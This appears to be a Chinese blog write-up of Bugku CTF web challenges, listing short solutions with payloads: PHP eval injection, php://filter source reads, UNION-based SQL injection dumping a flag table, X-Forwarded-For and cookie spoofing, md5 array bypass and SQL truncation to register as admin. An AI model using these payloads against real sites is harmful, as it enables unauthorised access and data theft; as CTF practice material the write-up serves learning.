web

WEB2

按F12即可获得flag

web_第1张图片

计算器

测试发现只能输入一位数

F12将最大输入长度改为2,验证获得flag

web基础$_GET

get传值,根据提示传值得到flag


web基础$_POST

post传值,用hackbar传值得到flag


web_第2张图片


矛盾

观察题目,应该是使用is_numeric遇到%00截断的漏洞,这里构造

web_第3张图片


web3

查看页面源码发现

html解码得到flag

你必须让他停下

BP抓包,repeater中多次go会出现flag


本地包含

题目:

web_第4张图片

知识基础

涉及到的几个函数:

1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢

2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

# outputhello world

3.var_dump: 函数用于输出变量的相关信息

# 数字var_dump(1); >int(1)# 字符串var_dump("string"); >string(6)"string"

首先闭合var_dump:1)";

第二步构建print_r:print_r(file("./flag.php"));

URL构建结束:

http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")

变量1


web_第5张图片

isset: 用于检测变量是否已设置并且非 NULL。

prep_match: 用于执行一个正则表达式匹配。

代码中flag In the variable ! 提示 flag 在变量中

根据!preg_match("/^\w+$/",$args)得知,arg只能是任意字母,数字,下划线,汉字的字符组成

eval("var_dump($$args);");使$GLOBALS变量被输出即可

url:http://123.206.87.240:8004/index1.php?args=GLOBALS

web5


web_第6张图片

查看源代码,发现有很长的一串符号

然后根据题目提示jsfuck,是jsfuck代码,复制下来放到控制台运行。出现:"ctf{whatfk}"。

头等舱

页面显示:

web_第7张图片

查看源码也什么都没有,用bp抓一下包试试,找到了flag

web_第8张图片


管理员系统:

先随意尝试了一下,显示ip禁止访问。。。

web_第9张图片

查看源码,发现有好多空白行,拉到末尾发现了,base64解码为test123

以为是账号和密码,发现不对。查阅资料发现可以伪造一个XFF头,伪装成本地登录

X-Forwarded-For: 127.0.0.1

于是bp抓包,加上xff,go得到flag


WEB4

题目是看看源代码,那就先看看源代码,看到了这么一串

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';

var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';

eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

url解码一下

p1:function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

p2:aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

%35%34%61%61%32----->54aa2

则在页面中提交:67d709b2b54aa2aa648cf6e87a7114f1,就获得了flag

flag在index里

将网页点开,在点击相应连接,网页地址栏变为:

http://120.24.86.145:8005/post/index.php?file=show.php

看到了file关键字,看看用php://filter能否将index读出来

http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

将得到的base64解码,观察程序得到flag

输入密码查看flag

利用burp爆破

web_第10张图片


点击一百万次

F12尝试更改数据,但是没有用

web_第11张图片

查看源码,利用post传值

web_第12张图片

成绩单

遍历-1' union select 1,2,3,4#四个表且都有回显

-1' union select 1,2,3,database()#得到数据库名字skctf_flag

-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名fl4g,sc

i-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#得到字段skctf_flag

id=-1' union select 1,2,3,skctf_flag from fl4g#

得到BUGKU{Sql_INJECT0N_4813drd8hz4}

秋名山老司机


速度要快

抓包查看发现有段注释,让我们post margin的值。通过抓包在response的headers中发现了名为flag的字符串,应该是base64加密。所以进行解密,解密结果只有‘:’后面是正常的字符串,单独对‘:’后字符串再进行base解密,得到了一串数字,应该是margin的值。

web_第13张图片

代码:
import requests

import base64

url="http://123.206.87.240:8002/web6/"

s =requests.Session()

headers =s.get(url).headers

str1 = base64.b64decode(headers['flag'])

str2 = base64.b64decode(repr(str1).split(':')[1])

data= {'margin':str2}

flag = s.post(url,data=data)

print(flag.text)


cookies欺骗

打开链接是一长串的字母,查看源码也没发现什么。然后url:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ= ,base64解码为keys.txt

用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=1,2,3都返回了不同的代码

用脚本跑出所有的源码

web_第14张图片


web_第15张图片

分析源码,构造keys.php的base64 作为filename的参数 ,判断cookie必须满足margin=margin才能访问keys.php(base64编码),抓包,修改cookie,go得到flag

never give up

源代码中发现1p.html,

web_第16张图片

访问1p.html发现直接跳转到了https://www.bugku.com/

那就查看1p.html的源代码view-source:http://123.206.87.240:8006/test/1p.html


web_第17张图片

发现了一串url编码 解密后得到

通过base64解码后得到

%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

然后我们再通过url解码得到


";if(!$_GET['id'])

{

header('Location: hello.php?id=1');

exit();

}

$id=$_GET['id'];

$a=$_GET['a'];

$b=$_GET['b'];

if(stripos($a,'.'))

{

echo 'no no no no no no no';

return ;

}

$data = @file_get_contents($a,'r');

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

{

require("f4l2a3g.txt");

}

else

{

print "never never never give up !!!";

}

访问http://123.206.87.240:8006/test/f4l2a3g.txt,得到flag

welcome to bugkuctf

查看页面源码

web_第18张图片

通过get方法传递三个值:txt,file,password

读取$user文件的内容,并且文件内容要与‘welcome to the bugkuctf’相同

可以利用php伪协议里面的PHP://input,写入txt,构造payload如下


web_第19张图片

我们就得到了右边这个页面。然后注意到hint.php这个东西,尝试访问一下,什么也没有。这里,我们传入第二个参数file,并利用伪协议的PHP://fifter读取一下hint.php的源码,结果是base64加密的,读完之后解密一下就行了。


解密


web_第20张图片

我不会了。。

前女友(SKCTF)

点开链接两个字的链接

web_第21张图片

在PHP中

MD5是不能处理数组的,md5(数组)会返回null

所以即

md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null也可以满足代码中的条件

构造: index.php?v1[]=1&v2[]=2&v3[]=3


web_第22张图片

多种方法

login1(SKCTF)

web_第23张图片

打开之后我先注册了一个账号尝试,然后跳出来不是管理员还想知道flag,因此账号一定要是管理员啊,我注册一个admin试试,然后跳出来说


web_第24张图片

那管理员的用户名就是admin,前面提示说是基于约束的sql攻击,则我们注册账号admin            ,然后随便一个密码。注册结束登陆啦按注册的账号登陆得到flag

web_第25张图片

你从哪里来


用bp抓包添加referer头

referer:https://www.google.com得到flag


web_第26张图片

你可能感兴趣的:(web)